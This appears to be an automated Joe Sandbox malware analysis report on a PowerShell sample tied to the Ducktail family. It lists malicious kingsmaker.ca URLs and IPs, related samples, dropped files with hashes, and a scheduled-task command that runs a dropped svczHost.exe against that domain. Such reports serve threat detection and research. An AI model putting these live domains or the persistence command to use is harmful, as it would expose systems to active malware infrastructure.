http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 0000001B.00000002.2307976891.0000016710940000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DBAF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8	powershell.exe, 0000000B.00000002.2269320725.000001DAD9CCB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibilityy	powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 0000001F.00000002.2325249929.00000244DBAF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 0000000E.00000003.1707011837.0000021584730000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad5X	powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1	powershell.exe, 00000000.00000002.1805165042.000002725539B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1805165042.000002725627C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kingsmaker.ca/file2/7d92d4d72726511a7b9e025d800769b17a5809cd4d11ed5c67d79d417b2e8db5aa7ca729	powershell.exe, 00000000.00000002.1805165042.0000027255232000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1805165042.00000272552A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b664b61fe87b35139	powershell.exe, 00000000.00000002.1805165042.0000027255232000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	svchost.exe, 0000000E.00000003.1707011837.00000215847A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kingsmaker.ca/file2/c9af	powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000006.00000002.1731777978.0000027463464000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9E37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DAE06000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityY	svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://aka.ms/GlobalizationInvariantMode	powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1805165042.0000027254C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1731777978.0000027463201000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2307976891.000001670F381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DA4D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kingsmaker.cX2k	powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kingsmaker.ca/file2/055818ee2313288dc6c42d3f2980e607ad634befb495720ee1b37bba5e4f01458e1103e7	powershell.exe, 00000000.00000002.1805165042.00000272552EB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
52.6.155.20	unknown	United States	14618	AMAZON-AESUS	false
104.21.75.170	kingsmaker.ca	United States	13335	CLOUDFLARENETUS	false
172.67.179.67	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565058
Start date and time:	2024-11-29 08:23:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	kingsmaker_6.ca.ps1
Detection:	MAL
Classification:	mal100.troj.expl.evad.winPS1@47/74@4/4
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 98% Number of executed functions: 32 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 162.159.61.3, 172.64.41.3, 2.20.60.204, 23.32.185.164, 23.195.39.65, 2.20.40.170, 104.86.110.211, 2.18.66.33
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, e4578.dscb.akamaiedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target powershell.exe, PID 7256 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8884 because it is empty
Execution Graph export aborted for target powershell.exe, PID 9072 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:24:10	API Interceptor	9993x Sleep call for process: powershell.exe modified
02:24:35	API Interceptor	2x Sleep call for process: svchost.exe modified
02:24:47	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
08:25:28	Task Scheduler	Run new task: zServicecakoi7 path: C:\Windows\Temp\svczHost.exe s>cakoi7 kingsmaker.ca

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
52.6.155.20	Demande de proposition du Accueil-Parrainage Outaouais.pdf	Get hash	malicious	Unknown	Browse
	cgoaudit Files.pdf	Get hash	malicious	Unknown	Browse
	method-statement-for-valve-installation_compress.pdf	Get hash	malicious	Unknown	Browse
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:98ca4a25-984a-4511-9eb1-b7e6c5c56a12	Get hash	malicious	HTMLPhisher	Browse
	Fw INVOICE TEST-4 - INTUIT QUICKBOOKS - 399.00 USD.zip	Get hash	malicious	Unknown	Browse
	EXTERN Zahlungsbest#U00e4tigung.msg	Get hash	malicious	CVE-2024-21412	Browse
	Please_Docusign_this_document_July 2024_2471.pdf	Get hash	malicious	Unknown	Browse
	PO.pdf	Get hash	malicious	Unknown	Browse
	Absa Eft.pdf	Get hash	malicious	HTMLPhisher	Browse
	Complete with Docusign andrew.pdf	Get hash	malicious	Tycoon2FA	Browse
104.21.75.170	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	kingsmaker.ca/api/check
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	kingsmaker.ca/api/check
	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	kingsmaker.ca/api/check
	Job Description.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	kingsmaker.ca/api/check
172.67.179.67	Emloyment Form.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	kingsmaker.ca/api/check
172.67.179.67	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	kingsmaker.ca/api/check

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Demande de proposition du Regional Development Network .pdf	Get hash	malicious	Unknown	Browse	84.201.208.67
	drawing 10023. spec T4 300W .... dimn 560horsepower po 1198624 _ %00% spec .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	217.20.56.101
	eicar-adobe-acrobat-attachment.pdf	Get hash	malicious	EICAR	Browse	217.20.59.36
	Account Review Desk - Help us keep your VAT account accurate.msg	Get hash	malicious	CredentialStealer	Browse	84.201.211.38
	invoice-1664809283.pdf	Get hash	malicious	Unknown	Browse	84.201.211.20
	faktura461250706050720242711#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	84.201.208.103
	file.exe	Get hash	malicious	Credential Flusher	Browse	217.20.56.101
	Siparis po 1198624 _#U0130zmir #U0130stinyepark Projesi.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	84.201.208.67
	file.exe	Get hash	malicious	Unknown	Browse	84.201.211.19
	file.exe	Get hash	malicious	Credential Flusher	Browse	84.201.211.36
kingsmaker.ca	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Emloyment Form.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	172.67.179.67
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	172.67.179.67
	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Job Description.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
bg.microsoft.map.fastly.net	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	199.232.214.172
	https://www.wixsite.com/_api/invoice/2d5e7023-6014-4f5e-ab31-c1e25d999b96:9b27124a-a130-45dc-b81f-e5675b538826/view?token=56c18155-b636-4505-b95c-630f3d19901a	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	Scan_19112024_people_power_press.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Demande de proposition du Regional Development Network .pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	drawing 10023. spec T4 300W .... dimn 560horsepower po 1198624 _ %00% spec .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	#U8b49#U64da_89004161-000002102-66_20241128#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.214.172
	SITHIPHORN_Doc2709202400000.exe	Get hash	malicious	AgentTesla	Browse	199.232.214.172
	Document BT24#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.214.172
	CC_scan.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	199.232.214.172
	Mein-Dienstrad Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Emloyment Form.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	172.67.179.67
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	172.67.179.67
	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Job Description.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://www.scrolldroll.com/best-dialogues-from-asur/	Get hash	malicious	Unknown	Browse	104.16.128.65
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
AMAZON-AESUS	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	50.16.47.176
	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	3.233.129.217
	Job Description.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	3.219.243.226
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	https://www.scrolldroll.com/best-dialogues-from-asur/	Get hash	malicious	Unknown	Browse	18.213.79.193
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	34.206.144.62
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	18.208.8.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Emloyment Form.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	Job Description.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	104.21.75.170
	rPO49120.scr.exe	Get hash	malicious	Unknown	Browse	104.21.75.170
	rPO49120.scr.exe	Get hash	malicious	Unknown	Browse	104.21.75.170
	INQUIRY_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.75.170
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.75.170

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\svczHost.exe	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse
	Emloyment Form.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse
	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse
	Job Description.lnk.download.lnk	Get hash	malicious	Ducktail	Browse
	Director of Performance Marketing Job Description Roles & Responsibilities Theory 2024.lnk	Get hash	malicious	Ducktail	Browse
	Director of Performance Marketing Job Description Roles & Responsibilities Theory 2024.lnk	Get hash	malicious	Ducktail	Browse
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse
	Facebook_Advertiser_Position_Description.lnk	Get hash	malicious	Ducktail	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6d3ee202, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433509394847113
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:DazaHvxXy2V2UR
MD5:	18B3157FDE5BDBB833F7A13DDE7D4351
SHA1:	B1379B70EEC581ACE87683E4755F251FAFF7F85B
SHA-256:	E10CCCB751AA81B292D4D3FC88EFEED6D3847EC5B9646BBEA2C48D4A52A5C366
SHA-512:	D2F7ADC3C064E3CB933C3B268117881F5243A72D40485F4DB27D0784E143F507C8E5089091B315B873768FB6F59BC1853787923728C75D826562C54D2E0C82D7
Malicious:	false
Preview:	m>..... ...............X\...;...{......................0.x...... ...{s.$....\|..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................a.R.$....\|'..................K.`$....\|...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6fde21af-7929-4239-ac98-d10fc39622a1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF462dd2.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cb65cd8f-e245-4981-b18f-1fa700176de4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.977203904269378
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2u8hsBdOg2HBAcaq3QYiub6P7E4TX:Y2sRdsFGdMHN3QYhbS7n7
MD5:	E112E7B435B55822ED1F59E2EE7773AE
SHA1:	0CAB860D136B822010A97504AD77751AD5CF1449
SHA-256:	7A83FDB4DC3EEAB3485C81D8518EBECBC395AD97E5B90A3E6C4FB9E2C0FD85ED
SHA-512:	2A811D126214B54071ECDBDCB5CB3948A331472543065AB1C69090403B82A791D8255765102ECDCA939D8004FC66DF907207964809DDF2AD45FA491EADC6E57F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377425085143694","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":660899},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.772609235396284
Encrypted:	false
SSDEEP:	3:kkFklx0WRXfllXlE/HT8k1P/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKpWRIT88P/TNMa8RdWBwRd
MD5:	C48189B9C261332FABD7B61DBBF662DF
SHA1:	F57EBF03412A1267827296845279BC5C5271D9F2
SHA-256:	CB781C673D4657DC189C0159456EB1BF6EE83F228DD32C39E00D05427E6BDAF8
SHA-512:	3E3E7A65CCD682AB4765563FEA284B55713F8F70DF2F628C8939E09037AF2FA91632643C32553924EB17C65629B7A1CC94D88D83E56FFE81AB6A4E8564D79D3A
Malicious:	false
Preview:	p...... .........../B..(....................................................... ..........W....P...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.231297734820803
Encrypted:	false
SSDEEP:	6:kKzdy8+kV99UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:bdBqDImsLNkPlE99SNxAhUe/3
MD5:	C9A2D1689D7A2CCA0B4201E5E69A874B
SHA1:	BFAE9CF8134EFAFA0024B357CA3C9E2D7A928055
SHA-256:	802A6E7F157443E9E367533F4B2513D2275F633814851583A495FA4CC3B5319F
SHA-512:	B2326DCDE80DE36CE75F1D4E51556F1B7C9A49CE4F7F9389393F04B0BE82B10872080D3EA51DBE7374590AB766A101E316C7EA488F635AA0C1411485AA8F789B
